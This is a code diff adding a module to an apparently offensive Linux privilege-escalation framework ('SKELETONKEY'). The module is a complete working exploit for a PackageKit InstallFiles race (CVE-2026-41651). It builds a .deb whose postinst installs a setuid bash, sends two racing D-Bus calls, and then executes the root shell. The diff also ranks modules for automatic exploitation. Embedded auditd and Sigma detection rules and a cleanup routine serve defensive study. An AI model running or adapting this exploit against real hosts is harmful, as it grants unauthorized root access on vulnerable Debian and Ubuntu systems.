+#define ERR(fmt, ...) fprintf(stderr, "[-] pack2theroot: " fmt "\n", ##__VA_ARGS__)
+
+/* ββ CRC-32 (ISO 3309) β verbatim from V12 PoC βββββββββββββββββββββββ */
+static uint32_t crc_tab[256];
+static void crc_init(void)
+{
+ for (unsigned i = 0; i < 256; i++) {
+ uint32_t c = i;
+ for (int j = 0; j < 8; j++) c = (c&1) ? (0xedb88320u ^ (c>>1)) : (c>>1);
+ crc_tab[i] = c;
+ }
+}
+static uint32_t crc32_iso(const void *src, size_t n)
+{
+ const uint8_t *p = src; uint32_t c = 0xffffffffu;
+ while (n--) c = crc_tab[(c ^ *p++) & 0xff] ^ (c >> 8);
+ return c ^ 0xffffffffu;
+}
+
+/* ββ gzip stored deflate block (max 65535 B) βββββββββββββββββββββββββ */
+static size_t gzip_store(const void *src, size_t len, uint8_t *dst)
+{
+ if (len > 0xffff) return 0;
+ uint8_t *p = dst;
+ *p++ = 0x1f; *p++ = 0x8b; *p++ = 0x08; *p++ = 0x00;
+ p[0]=p[1]=p[2]=p[3]=0; p+=4; *p++ = 0x00; *p++ = 0xff;
+ uint16_t ln = len, nln = ~ln;
+ *p++ = 0x01; memcpy(p, &ln, 2); p += 2; memcpy(p, &nln, 2); p += 2;
+ memcpy(p, src, len); p += len;
+ uint32_t c = crc32_iso(src, len), s = (uint32_t)len;
+ memcpy(p, &c, 4); p += 4; memcpy(p, &s, 4); p += 4;
+ return p - dst;
+}
+
+/* ββ ustar tar entry βββββββββββββββββββββββββββββββββββββββββββββββββ */
+static size_t tar_entry(uint8_t *buf, const char *name, const void *data,
+ size_t dlen, mode_t mode, char type)
+{
+ memset(buf, 0, 512);
+ snprintf((char *)buf, 100, "%s", name);
+ snprintf((char *)buf+100, 8, "%07o", (unsigned)mode);
+ snprintf((char *)buf+108, 8, "%07o", 0u);
+ snprintf((char *)buf+116, 8, "%07o", 0u);
+ snprintf((char *)buf+124, 12, "%011o", (unsigned)dlen);
+ snprintf((char *)buf+136, 12, "%011o", (unsigned)time(NULL));
+ memset(buf+148, ' ', 8);
+ buf[156] = type;
+ memcpy(buf+257, "ustar", 5); memcpy(buf+263, "00", 2);
+ unsigned sum = 0; for (int i = 0; i < 512; i++) sum += buf[i];
+ snprintf((char *)buf+148, 8, "%06o", sum);
+ buf[154] = '\0'; buf[155] = ' ';
+ size_t pad = dlen ? ((dlen + 511) / 512) * 512 : 0;
+ if (dlen && data) memcpy(buf + 512, data, dlen);
+ if (pad > dlen) memset(buf + 512 + dlen, 0, pad - dlen);
+ return 512 + pad;
+}
+
+/* ββ ar member βββββββββββββββββββββββββββββββββββββββββββββββββββββββ */
+static void ar_entry(FILE *f, const char *name, const void *data, size_t sz)
+{
+ char h[61]; memset(h, ' ', 60); h[60] = 0;
+ char t[17]; snprintf(t, 17, "%-16s", name); memcpy(h, t, 16);
+ snprintf(t, 13, "%-12lu", (unsigned long)time(NULL)); memcpy(h+16, t, 12);
+ memcpy(h+28, "0 ", 6); memcpy(h+34, "0 ", 6);
+ memcpy(h+40, "100644 ", 8);
+ snprintf(t, 11, "%-10zu", sz); memcpy(h+48, t, 10);
+ h[58] = '`'; h[59] = '\n';
+ fwrite(h, 1, 60, f); fwrite(data, 1, sz, f);
+ if (sz % 2) fputc('\n', f);
+}
+
+/* Assemble a minimal .deb (faithful to the V12 PoC build_deb). */
+static int build_deb(const char *dest, const char *pkg, const char *postinst)
+{
+ static uint8_t tarbuf[65536], gzbuf[65536+256];
+ memset(tarbuf, 0, sizeof tarbuf);
+ crc_init();
+ size_t off = 0;
+
+ char ctrl[512];
+ snprintf(ctrl, sizeof ctrl,
+ "Package: %s\nVersion: 1.0\nArchitecture: all\n"
+ "Maintainer: SKELETONKEY\nDescription: Pack2TheRoot PoC\n", pkg);
+
+ off += tar_entry(tarbuf+off, "./", NULL, 0, 0755, '5');
+ off += tar_entry(tarbuf+off, "./control", ctrl, strlen(ctrl), 0644, '0');
+ if (postinst)
+ off += tar_entry(tarbuf+off, "./postinst", postinst,
+ strlen(postinst), 0755, '0');
+ off += 1024; /* end-of-archive: two 512-byte zero blocks */
+
+ size_t ctrl_gz_len = gzip_store(tarbuf, off, gzbuf);
+ if (!ctrl_gz_len) return -1;
+
+ static uint8_t empty_tar[1024], data_gz[256];
+ memset(empty_tar, 0, sizeof empty_tar);
+ size_t data_gz_len = gzip_store(empty_tar, sizeof empty_tar, data_gz);
+
+ FILE *f = fopen(dest, "wb");
+ if (!f) return -1;
+ fwrite("!\n", 1, 8, f);
+ ar_entry(f, "debian-binary", "2.0\n", 4);
+ ar_entry(f, "control.tar.gz", gzbuf, ctrl_gz_len);
+ ar_entry(f, "data.tar.gz", data_gz, data_gz_len);
+ fclose(f);
+ return 0;
+}
+
+/* ββ D-Bus helpers βββββββββββββββββββββββββββββββββββββββββββββββββββ */
+
+typedef struct { GMainLoop *loop; guint32 exit_code; gboolean done; } P2trCtx;
+
+static void cb_finished(GDBusConnection *c G_GNUC_UNUSED,
+ const gchar *s G_GNUC_UNUSED, const gchar *o G_GNUC_UNUSED,
+ const gchar *i G_GNUC_UNUSED, const gchar *n G_GNUC_UNUSED,
+ GVariant *p, gpointer u)
+{
+ P2trCtx *ctx = u; guint32 ec, rt;
+ g_variant_get(p, "(uu)", &ec, &rt);
+ LOG("transaction finished (exit=%u, %u ms)", ec, rt);
+ ctx->exit_code = ec; ctx->done = TRUE;
+ g_main_loop_quit(ctx->loop);
+}
+
+static void cb_error(GDBusConnection *c G_GNUC_UNUSED,
+ const gchar *s G_GNUC_UNUSED, const gchar *o G_GNUC_UNUSED,
+ const gchar *i G_GNUC_UNUSED, const gchar *n G_GNUC_UNUSED,
+ GVariant *p, gpointer u G_GNUC_UNUSED)
+{
+ guint32 code; const gchar *det;
+ g_variant_get(p, "(u&s)", &code, &det);
+ LOG("PK error %u: %s", code, det);
+}
+
+static gboolean cb_timeout(gpointer u)
+{
+ ERR("transaction loop timed out");
+ g_main_loop_quit(u);
+ return G_SOURCE_REMOVE;
+}
+
+static char *pk_create_tx(GDBusConnection *conn)
+{
+ GError *e = NULL;
+ GVariant *r = g_dbus_connection_call_sync(conn, PK_BUS, PK_OBJ, PK_IFACE,
+ "CreateTransaction", NULL, G_VARIANT_TYPE("(o)"),
+ G_DBUS_CALL_FLAGS_NONE, -1, NULL, &e);
+ if (!r) {
+ ERR("CreateTransaction: %s", e ? e->message : "?");
+ if (e) g_error_free(e);
+ return NULL;
+ }
+ const gchar *tid; g_variant_get(r, "(&o)", &tid);
+ char *copy = g_strdup(tid); g_variant_unref(r);
+ return copy;
+}
+
+/* Fire-and-forget: both messages must land in the server's socket
+ * buffer before the GLib idle from Step 1 fires. Faithful to the PoC. */
+static void pk_install_files_async(GDBusConnection *conn, const char *tid,
+ guint64 flags, const char *path)
+{
+ const char *paths[] = { path, NULL };
+ g_dbus_connection_call(conn, PK_BUS, tid, PK_TX_IFACE,
+ "InstallFiles", g_variant_new("(t^as)", flags, paths),
+ NULL, G_DBUS_CALL_FLAGS_NONE, -1, NULL, NULL, NULL);
+}
+
+static bool dbus_name_has_owner(GDBusConnection *conn, const char *name)
+{
+ GError *e = NULL;
+ GVariant *r = g_dbus_connection_call_sync(conn, "org.freedesktop.DBus",
+ "/org/freedesktop/DBus", "org.freedesktop.DBus", "NameHasOwner",
+ g_variant_new("(s)", name), G_VARIANT_TYPE("(b)"),
+ G_DBUS_CALL_FLAGS_NONE, 2000, NULL, &e);
+ if (!r) { if (e) g_error_free(e); return false; }
+ gboolean has; g_variant_get(r, "(b)", &has);
+ g_variant_unref(r);
+ return (bool)has;
+}
+
+/* Read PackageKit's VersionMajor/Minor/Micro D-Bus properties. */
+static bool pk_query_version(GDBusConnection *conn, int *maj, int *min, int *mic)
+{
+ static const char *names[] = { "VersionMajor", "VersionMinor", "VersionMicro" };
+ int *out[3] = { maj, min, mic };
+ for (int i = 0; i < 3; i++) {
+ GError *e = NULL;
+ GVariant *r = g_dbus_connection_call_sync(conn, PK_BUS, PK_OBJ,
+ "org.freedesktop.DBus.Properties", "Get",
+ g_variant_new("(ss)", PK_IFACE, names[i]),
+ G_VARIANT_TYPE("(v)"), G_DBUS_CALL_FLAGS_NONE,
+ 2000, NULL, &e);
+ if (!r) { if (e) g_error_free(e); return false; }
+ GVariant *vinner = NULL;
+ g_variant_get(r, "(v)", &vinner);
+ if (!vinner) { g_variant_unref(r); return false; }
+ if (g_variant_is_of_type(vinner, G_VARIANT_TYPE_UINT32))
+ *out[i] = (int)g_variant_get_uint32(vinner);
+ else if (g_variant_is_of_type(vinner, G_VARIANT_TYPE_INT32))
+ *out[i] = (int)g_variant_get_int32(vinner);
+ else {
+ g_variant_unref(vinner); g_variant_unref(r); return false;
+ }
+ g_variant_unref(vinner); g_variant_unref(r);
+ }
+ return true;
+}
+
+/* ββ detect ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ */
+
+static skeletonkey_result_t p2tr_detect(const struct skeletonkey_ctx *ctx)
+{
+ p2tr_verbose = !ctx->json;
+
+ if (geteuid() == 0) {
+ if (!ctx->json)
+ fprintf(stderr, "[i] pack2theroot: already root β nothing to do\n");
+ return SKELETONKEY_OK;
+ }
+
+ if (access("/etc/debian_version", F_OK) != 0) {
+ if (!ctx->json)
+ fprintf(stderr, "[i] pack2theroot: not a Debian/Ubuntu host "
+ "(PoC's .deb builder is Debian-family-only)\n");
+ return SKELETONKEY_PRECOND_FAIL;
+ }
+
+ GError *e = NULL;
+ GDBusConnection *conn = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &e);
+ if (!conn) {
+ if (!ctx->json)
+ fprintf(stderr, "[i] pack2theroot: system D-Bus unavailable: %s\n",
+ e ? e->message : "(unknown)");
+ if (e) g_error_free(e);
+ return SKELETONKEY_PRECOND_FAIL;
+ }
+
+ if (!dbus_name_has_owner(conn, PK_BUS)) {
+ if (!ctx->json)
+ fprintf(stderr, "[i] pack2theroot: PackageKit daemon not "
+ "registered on the system bus\n");
+ g_object_unref(conn);
+ return SKELETONKEY_PRECOND_FAIL;
+ }
+
+ int maj = 0, min = 0, mic = 0;
+ bool got_version = pk_query_version(conn, &maj, &min, &mic);
+ g_object_unref(conn);
+
+ if (!got_version) {
+ if (!ctx->json)
+ fprintf(stderr, "[?] pack2theroot: PackageKit running but "
+ "VersionMajor/Minor/Micro unreadable β patch-level "
+ "unknown\n");
+ return SKELETONKEY_TEST_ERROR;
+ }
+
+ int v = P2TR_VER(maj, min, mic);
+ if (!ctx->json)
+ fprintf(stderr, "[*] pack2theroot: PackageKit %d.%d.%d on the bus\n",
+ maj, min, mic);
+
+ if (v < P2TR_VER_LO) {
+ if (!ctx->json)
+ fprintf(stderr, "[+] pack2theroot: %d.%d.%d predates the bug "
+ "(introduced in 1.0.2)\n", maj, min, mic);
+ return SKELETONKEY_OK;
+ }
+ if (v > P2TR_VER_HI) {
+ if (!ctx->json)
+ fprintf(stderr, "[+] pack2theroot: %d.%d.%d is patched "
+ "(fixed in 1.3.5, commit 76cfb675)\n", maj, min, mic);
+ return SKELETONKEY_OK;
+ }
+ if (!ctx->json)
+ fprintf(stderr, "[!] pack2theroot: PackageKit %d.%d.%d is "
+ "VULNERABLE (range 1.0.2 β€ V β€ 1.3.4)\n", maj, min, mic);
+ return SKELETONKEY_VULNERABLE;
+}
+
+/* ββ exploit child (faithful port of the PoC main() body) ββββββββββββ */
+
+static int p2tr_child_run(int no_shell)
+{
+ char dummy[64], payload[64], postinst[160];
+ snprintf(dummy, sizeof dummy, "/tmp/.pk-dummy-%d.deb", getpid());
+ snprintf(payload, sizeof payload, "/tmp/.pk-payload-%d.deb", getpid());
+ snprintf(postinst, sizeof postinst,
+ "#!/bin/sh\ninstall -m 4755 /bin/bash %s\n", SUID_PATH);
+
+ LOG("building .deb packages (pure C; ar/tar/gzip inline)");
+ if (build_deb(dummy, "skeletonkey-p2tr-dummy", NULL) < 0) {
+ ERR("dummy .deb build failed");
+ return 2;
+ }
+ if (build_deb(payload, "skeletonkey-p2tr-payload", postinst) < 0) {
+ ERR("payload .deb build failed"); unlink(dummy);
+ return 2;
+ }
+ if (access(dummy, F_OK) != 0 || access(payload, F_OK) != 0) {
+ ERR("built .deb files are missing"); return 2;
+ }
+ LOG("dummy : %s", dummy);
+ LOG("payload : %s", payload);
+
+ GError *err = NULL;
+ GDBusConnection *conn = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &err);
+ if (!conn) {
+ ERR("system D-Bus: %s", err ? err->message : "?");
+ if (err) g_error_free(err);
+ unlink(dummy); unlink(payload);
+ return 4;
+ }
+
+ char *tid = pk_create_tx(conn);
+ if (!tid) { g_object_unref(conn); unlink(dummy); unlink(payload); return 2; }
+ LOG("transaction : %s", tid);
+
+ P2trCtx pkctx = { .loop = g_main_loop_new(NULL, FALSE), .done = FALSE };
+ guint sf = g_dbus_connection_signal_subscribe(conn, PK_BUS, PK_TX_IFACE,
+ "Finished", tid, NULL, G_DBUS_SIGNAL_FLAGS_NONE, cb_finished, &pkctx, NULL);
+ guint se = g_dbus_connection_signal_subscribe(conn, PK_BUS, PK_TX_IFACE,
+ "ErrorCode", tid, NULL, G_DBUS_SIGNAL_FLAGS_NONE, cb_error, NULL, NULL);
+
+ /* ββ EXPLOIT βββββββββββββββββββββββββββββββββββββββββββββββββββββ */
+ LOG("step 1: InstallFiles(SIMULATE=0x%llx, dummy) [async]",
+ (unsigned long long)FLAG_SIMULATE);
+ pk_install_files_async(conn, tid, FLAG_SIMULATE, dummy);
+
+ LOG("step 2: InstallFiles(NONE=0x%llx, payload) [async]",
+ (unsigned long long)FLAG_NONE);
+ pk_install_files_async(conn, tid, FLAG_NONE, payload);
+
+ /* Flush so both messages land in the server's socket buffer before
+ * its main loop runs the GLib idle from step 1. */
+ {
+ GError *fe = NULL;
+ if (!g_dbus_connection_flush_sync(conn, NULL, &fe)) {
+ ERR("D-Bus flush: %s", fe ? fe->message : "?");
+ g_clear_error(&fe);
+ }
+ }
+
+ LOG("awaiting dispatch (30s max)");
+ g_timeout_add_seconds(30, cb_timeout, pkctx.loop);
+ g_main_loop_run(pkctx.loop);
+
+ g_dbus_connection_signal_unsubscribe(conn, sf);
+ g_dbus_connection_signal_unsubscribe(conn, se);
+ g_free(tid);
+ g_object_unref(conn);
+
+ /* Record /tmp paths for cleanup() even if the SUID never lands. */
+ int sf2 = open("/tmp/skeletonkey-pack2theroot.state",
+ O_WRONLY | O_CREAT | O_TRUNC, 0600);
+ if (sf2 >= 0) {
+ dprintf(sf2, "%s\n%s\n", dummy, payload);
+ close(sf2);
+ }
+
+ /* Poll up to 120s for the SUID bash; the APT backend may keep
+ * running after polkit fires. Faithful to the PoC's polling loop. */
+ LOG("polling for SUID payload at %s (120s max)", SUID_PATH);
+ struct stat st;
+ int appeared_at = -1;
+ for (int i = 0; i < 1200; i++) {
+ usleep(100000); /* 100 ms */
+ if (i % 50 == 0 && p2tr_verbose) {
+ int lock_fd = open("/var/lib/dpkg/lock", O_RDONLY);
+ int lock_held = 0;
+ if (lock_fd >= 0) {
+ lock_held = (flock(lock_fd, LOCK_EX | LOCK_NB) != 0);
+ if (!lock_held) flock(lock_fd, LOCK_UN);
+ close(lock_fd);
+ }
+ fprintf(stderr, "[*] pack2theroot: t+%ds payload=%s "
+ "dpkg_lock=%s suid=%s\n",
+ (i/10)+1,
+ access(payload, F_OK) == 0 ? "present" : "consumed",
+ lock_held ? "held" : "free",
+ access(SUID_PATH, F_OK) == 0 ? "FOUND" : "not yet");
+ }
+ if (stat(SUID_PATH, &st) == 0 && (st.st_mode & S_ISUID)) {
+ appeared_at = i;
+ break;
+ }
+ }
+
+ if (appeared_at < 0) {
+ ERR("SUID bash never appeared at %s within 120s", SUID_PATH);
+ return 3; /* EXPLOIT_FAIL */
+ }
+
+ LOG("SUCCESS β SUID bash landed at t+%dms", appeared_at * 100);
+
+ if (no_shell) {
+ LOG("--no-shell: payload placed, root shell not spawned");
+ LOG("revert with `skeletonkey --cleanup pack2theroot` (needs root)");
+ return 0;
+ }
+
+ /* Exec the SUID bash interactively. */
+ if (isatty(STDIN_FILENO)) {
+ char *ttydev = ttyname(STDIN_FILENO);
+ pid_t child = fork();
+ if (child == 0) {
+ setsid();
+ if (ttydev) {
+ int t = open(ttydev, O_RDWR);
+ if (t >= 0) {
+ ioctl(t, TIOCSCTTY, 1);
+ dup2(t, 0); dup2(t, 1); dup2(t, 2);
+ if (t > 2) close(t);
+ }
+ }
+ char *argv[] = { (char *)SUID_PATH, "-p", NULL };
+ execv(SUID_PATH, argv);
+ _exit(1);
+ }
+ if (child > 0) { int s; waitpid(child, &s, 0); }
+ } else {
+ /* Non-tty: just exec the SUID bash (replaces our process). */
+ char *argv[] = { (char *)SUID_PATH, "-p", NULL };
+ execv(SUID_PATH, argv);
+ ERR("execv(%s): %s", SUID_PATH, strerror(errno));
+ return 3;
+ }
+ return 0;
+}
+
+static skeletonkey_result_t p2tr_exploit(const struct skeletonkey_ctx *ctx)
+{
+ p2tr_verbose = !ctx->json;
+
+ if (geteuid() == 0) {
+ fprintf(stderr, "[i] pack2theroot: already root β nothing to do\n");
+ return SKELETONKEY_OK;
+ }
+
+ pid_t pid = fork();
+ if (pid < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
+ if (pid == 0) {
+ int rc = p2tr_child_run(ctx->no_shell);
+ _exit(rc);
+ }
+ int st;
+ waitpid(pid, &st, 0);
+ if (!WIFEXITED(st)) return SKELETONKEY_EXPLOIT_FAIL;
+ switch (WEXITSTATUS(st)) {
+ case 0: return SKELETONKEY_EXPLOIT_OK;
+ case 4: return SKELETONKEY_PRECOND_FAIL;
+ default: return SKELETONKEY_EXPLOIT_FAIL;
+ }
+}
+
+/* ββ cleanup βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ */
+
+static skeletonkey_result_t p2tr_cleanup(const struct skeletonkey_ctx *ctx)
+{
+ p2tr_verbose = !ctx->json;
+
+ /* Remove the two staged .debs (recorded during exploit). */
+ int sf = open("/tmp/skeletonkey-pack2theroot.state", O_RDONLY);
+ if (sf >= 0) {
+ char buf[512] = {0};
+ ssize_t n = read(sf, buf, sizeof(buf) - 1);
+ close(sf);
+ if (n > 0) {
+ char *line = strtok(buf, "\n");
+ while (line) {
+ if (unlink(line) == 0) LOG("removed %s", line);
+ line = strtok(NULL, "\n");
+ }
+ }
+ unlink("/tmp/skeletonkey-pack2theroot.state");
+ }
+
+ /* Best-effort remove the SUID bash. It is owned by root, so this
+ * only succeeds when cleanup runs with root privileges (e.g. the
+ * caller already used the SUID shell to escalate). */
+ if (access(SUID_PATH, F_OK) == 0) {
+ if (unlink(SUID_PATH) == 0) {
+ LOG("removed %s", SUID_PATH);
+ } else {
+ ERR("could not remove %s (%s); rerun cleanup as root, or:",
+ SUID_PATH, strerror(errno));
+ ERR(" sudo rm -f %s", SUID_PATH);
+ }
+ }
+
+ /* Best-effort: uninstall the malicious package via passwordless sudo. */
+ if (system("sudo -n dpkg -r skeletonkey-p2tr-payload skeletonkey-p2tr-dummy "
+ ">/dev/null 2>&1") == 0) {
+ LOG("dpkg -r removed staged packages");
+ } else {
+ LOG("dpkg -r not run automatically; if needed:");
+ LOG(" sudo dpkg -r skeletonkey-p2tr-payload skeletonkey-p2tr-dummy");
+ }
+ return SKELETONKEY_OK;
+}
+
+#else /* !__linux__ || !PACK2TR_HAVE_GIO */
+
+static skeletonkey_result_t p2tr_detect(const struct skeletonkey_ctx *ctx)
+{
+ if (!ctx->json) {
+#ifndef __linux__
+ fprintf(stderr, "[i] pack2theroot: Linux-only module "
+ "(PackageKit D-Bus) β not applicable on this platform\n");
+#else
+ fprintf(stderr, "[i] pack2theroot: module built without "
+ "GLib/gio-2.0 support β install libglib2.0-dev and rebuild\n");
+#endif
+ }
+ return SKELETONKEY_PRECOND_FAIL;
+}
+static skeletonkey_result_t p2tr_exploit(const struct skeletonkey_ctx *ctx)
+{
+ (void)ctx;
+ fprintf(stderr, "[-] pack2theroot: not built with GLib/gio-2.0 support\n");
+ return SKELETONKEY_PRECOND_FAIL;
+}
+static skeletonkey_result_t p2tr_cleanup(const struct skeletonkey_ctx *ctx)
+{
+ (void)ctx;
+ return SKELETONKEY_OK;
+}
+
+#endif /* __linux__ && PACK2TR_HAVE_GIO */
+
+/* ββ embedded detection rules ββββββββββββββββββββββββββββββββββββββββ */
+
+static const char p2tr_auditd[] =
+ "# Pack2TheRoot (CVE-2026-41651) β auditd detection rules\n"
+ "# PackageKit TOCTOU LPE: two back-to-back InstallFiles D-Bus calls\n"
+ "# install a malicious .deb as root and drop a SUID bash in /tmp.\n"
+ "# Watch the side effects β D-Bus calls themselves aren't auditable\n"
+ "# without bus-monitoring, but the file footprint is unmistakable.\n"
+ "\n"
+ "# SUID bash carrier that the PoC postinst lands\n"
+ "-w /tmp/.suid_bash -p wa -k skeletonkey-pack2theroot\n"
+ "\n"
+ "# Any new setuid binary owned by root in /tmp is suspicious\n"
+ "-a always,exit -F arch=b64 -S chmod,fchmod,fchmodat \\\n"
+ " -F path=/tmp/.suid_bash -k skeletonkey-pack2theroot-suid\n"
+ "\n"
+ "# The PoC drops two .deb files in /tmp before the install fires\n"
+ "-a always,exit -F arch=b64 -S openat,creat \\\n"
+ " -F dir=/tmp -F success=1 -k skeletonkey-pack2theroot-deb\n"
+ "\n"
+ "# packagekitd-driven dpkg activity initiated by a non-root caller\n"
+ "-a always,exit -F arch=b64 -S execve -F path=/usr/bin/dpkg \\\n"
+ " -F auid!=0 -k skeletonkey-pack2theroot-dpkg\n"
+ "-a always,exit -F arch=b64 -S execve -F path=/usr/bin/apt-get \\\n"
+ " -F auid!=0 -k skeletonkey-pack2theroot-apt\n";
+
+static const char p2tr_sigma[] =
+ "title: Possible Pack2TheRoot exploitation (CVE-2026-41651)\n"
+ "id: 3f2b8d54-skeletonkey-pack2theroot\n"
+ "status: experimental\n"
+ "description: |\n"
+ " Detects the footprint of Pack2TheRoot (CVE-2026-41651): a non-root\n"
+ " user triggers PackageKit InstallFiles, dpkg runs a postinst that\n"
+ " drops /tmp/.suid_bash (a setuid bash), and a privileged shell\n"
+ " follows. The trigger itself is two back-to-back D-Bus calls with\n"
+ " no polkit prompt β only visible via dbus-monitor or the file\n"
+ " side effects.\n"
+ "references:\n"
+ " - https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html\n"
+ " - https://github.com/PackageKit/PackageKit/security/advisories/GHSA-f55j-vvr9-69xv\n"
+ "logsource: {product: linux, service: auditd}\n"
+ "detection:\n"
+ " suid_drop:\n"
+ " type: 'PATH'\n"
+ " name|startswith: ['/tmp/.suid_bash', '/tmp/.pk-payload-', '/tmp/.pk-dummy-']\n"
+ " not_root:\n"
+ " auid|expression: '!= 0'\n"
+ " condition: suid_drop and not_root\n"
+ "level: high\n"
+ "tags:\n"
+ " - attack.privilege_escalation\n"
+ " - attack.t1068\n"
+ " - cve.2026.41651\n";
+
+const struct skeletonkey_module pack2theroot_module = {
+ .name = "pack2theroot",
+ .cve = "CVE-2026-41651",
+ .summary = "PackageKit InstallFiles TOCTOU β root via .deb postinst",
+ .family = "pack2theroot",
+ .kernel_range = "userspace β PackageKit 1.0.2 β€ V β€ 1.3.4 (fixed in 1.3.5)",
+ .detect = p2tr_detect,
+ .exploit = p2tr_exploit,
+ .mitigate = NULL,
+ .cleanup = p2tr_cleanup,
+ .detect_auditd = p2tr_auditd,
+ .detect_sigma = p2tr_sigma,
+ .detect_yara = NULL,
+ .detect_falco = NULL,
+};
+
+void skeletonkey_register_pack2theroot(void)
+{
+ skeletonkey_register(&pack2theroot_module);
+}
diff --git a/modules/pack2theroot_cve_2026_41651/skeletonkey_modules.h b/modules/pack2theroot_cve_2026_41651/skeletonkey_modules.h
new file mode 100644
index 0000000..14bf155
--- /dev/null
+++ b/modules/pack2theroot_cve_2026_41651/skeletonkey_modules.h
@@ -0,0 +1,12 @@
+/*
+ * pack2theroot_cve_2026_41651 β SKELETONKEY module registry hook
+ */
+
+#ifndef PACK2THEROOT_SKELETONKEY_MODULES_H
+#define PACK2THEROOT_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module pack2theroot_module;
+
+#endif
diff --git a/skeletonkey.c b/skeletonkey.c
index 1327153..0e54136 100644
--- a/skeletonkey.c
+++ b/skeletonkey.c
@@ -21,6 +21,7 @@
#include
#include
+#include
#include
#include
@@ -670,10 +671,13 @@ static int module_safety_rank(const char *n)
if (!strcmp(n, "cgroup_release_agent")) return 98; /* structural, no offsets */
if (!strcmp(n, "overlayfs_setuid")) return 97; /* structural setuid */
if (!strcmp(n, "overlayfs")) return 96; /* userns + xattr */
+ if (!strcmp(n, "pack2theroot")) return 95; /* userspace D-Bus TOCTOU; dpkg + /tmp SUID footprint */
if (!strcmp(n, "dirty_pipe")) return 90; /* page-cache write */
if (!strcmp(n, "dirty_cow")) return 89;
if (!strncmp(n, "copy_fail", 9) ||
- !strncmp(n, "dirty_frag", 10)) return 88;
+ !strncmp(n, "dirty_frag", 10)) return 88; /* verified page-cache writes */
+ if (!strcmp(n, "dirtydecrypt") ||
+ !strcmp(n, "fragnesia")) return 86; /* ported page-cache writes, NOT VM-verified */
if (!strcmp(n, "ptrace_traceme")) return 85; /* userspace cred race */
if (!strcmp(n, "sudo_samedit")) return 80; /* heap-tuned, may crash sudo */
if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */
@@ -682,6 +686,68 @@ static int module_safety_rank(const char *n)
return 50; /* kernel primitives β middle of pack */
}
+/* Run a module's detect() in a forked child so a SIGILL/SIGSEGV/etc.
+ * in one detector cannot tear down the dispatcher. The verdict travels
+ * back via the child's exit status (skeletonkey_result_t values fit in
+ * 0..5). On a crash, returns SKELETONKEY_TEST_ERROR; *crashed_signal
+ * is set to the terminating signal (0 if exited normally).
+ *
+ * This matters because --auto auto-enables active probes, which can
+ * exercise CPU instructions (entrybleed's prefetchnta sweep) or
+ * kernel paths (XFRM ESP-in-TCP setup) that may misbehave under
+ * emulation or hardened containers. Without isolation, one bad probe
+ * stops the whole scan and the operator never sees the rest of the
+ * verdict table. */
+static skeletonkey_result_t run_detect_isolated(
+ const struct skeletonkey_module *m,
+ const struct skeletonkey_ctx *ctx,
+ int *crashed_signal)
+{
+ *crashed_signal = 0;
+ pid_t pid = fork();
+ if (pid < 0) {
+ perror("fork");
+ return SKELETONKEY_TEST_ERROR;
+ }
+ if (pid == 0) {
+ skeletonkey_result_t r = m->detect(ctx);
+ fflush(NULL);
+ _exit((int)r);
+ }
+ int st;
+ if (waitpid(pid, &st, 0) < 0) return SKELETONKEY_TEST_ERROR;
+ if (WIFEXITED(st)) return (skeletonkey_result_t)WEXITSTATUS(st);
+ if (WIFSIGNALED(st)) *crashed_signal = WTERMSIG(st);
+ return SKELETONKEY_TEST_ERROR;
+}
+
+/* Best-effort host distro fingerprint via /etc/os-release. Populates
+ * id_out and ver_out with up to 63 chars each; falls back to "?" when
+ * /etc/os-release is missing or unparseable. */
+static void read_os_release(char *id_out, size_t id_cap,
+ char *ver_out, size_t ver_cap)
+{
+ snprintf(id_out, id_cap, "?");
+ snprintf(ver_out, ver_cap, "?");
+ FILE *f = fopen("/etc/os-release", "r");
+ if (!f) return;
+ char line[256];
+ while (fgets(line, sizeof line, f)) {
+ const char *key = NULL; char *dst = NULL; size_t cap = 0;
+ if (strncmp(line, "ID=", 3) == 0) {
+ key = line + 3; dst = id_out; cap = id_cap;
+ } else if (strncmp(line, "VERSION_ID=", 11) == 0) {
+ key = line + 11; dst = ver_out; cap = ver_cap;
+ } else continue;
+ const char *v = key;
+ if (*v == '"' || *v == '\'') v++;
+ size_t L = strcspn(v, "\"'\n");
+ if (L >= cap) L = cap - 1;
+ memcpy(dst, v, L); dst[L] = '\0';
+ }
+ fclose(f);
+}
+
static int cmd_auto(struct skeletonkey_ctx *ctx)
{
if (!ctx->authorized) {
@@ -695,28 +761,98 @@ static int cmd_auto(struct skeletonkey_ctx *ctx)
return 0;
}
+ /* Active probes give --auto a more accurate verdict on modules that
+ * implement them (dirty_pipe, the copy_fail family, dirtydecrypt,
+ * fragnesia, overlayfs). Each per-module probe is documented safe:
+ * /tmp sentinel files + fork-isolated namespace mounts. No real
+ * system state is corrupted by the scan. Without this, --auto can
+ * miss vulnerabilities that a version-only check would flag as
+ * indeterminate (TEST_ERROR), or accept distro silent backports
+ * that the version check is fooled by. */
+ bool prev_active = ctx->active_probe;
+ ctx->active_probe = true;
+
struct utsname u; uname(&u);
- fprintf(stderr, "[*] auto: host=%s kernel=%s arch=%s\n", u.nodename, u.release, u.machine);
+ char distro_id[64], distro_ver[64];
+ read_os_release(distro_id, sizeof distro_id, distro_ver, sizeof distro_ver);
+ fprintf(stderr, "[*] auto: host=%s distro=%s/%s kernel=%s arch=%s\n",
+ u.nodename, distro_id, distro_ver, u.release, u.machine);
+ fprintf(stderr, "[*] auto: active probes enabled β brief /tmp file "
+ "touches and fork-isolated namespace probes\n");
fprintf(stderr, "[*] auto: scanning %zu modules for vulnerabilities...\n",
skeletonkey_module_count());
struct cand { const struct skeletonkey_module *m; int rank; } cands[64];
int nc = 0;
+ int n_vuln = 0, n_ok = 0, n_precond = 0, n_test = 0, n_crash = 0, n_other = 0;
size_t n = skeletonkey_module_count();
- for (size_t i = 0; i < n && nc < 64; i++) {
+ for (size_t i = 0; i < n; i++) {
const struct skeletonkey_module *m = skeletonkey_module_at(i);
if (!m->detect || !m->exploit) continue;
- skeletonkey_result_t r = m->detect(ctx);
- if (r == SKELETONKEY_VULNERABLE) {
- cands[nc].m = m;
- cands[nc].rank = module_safety_rank(m->name);
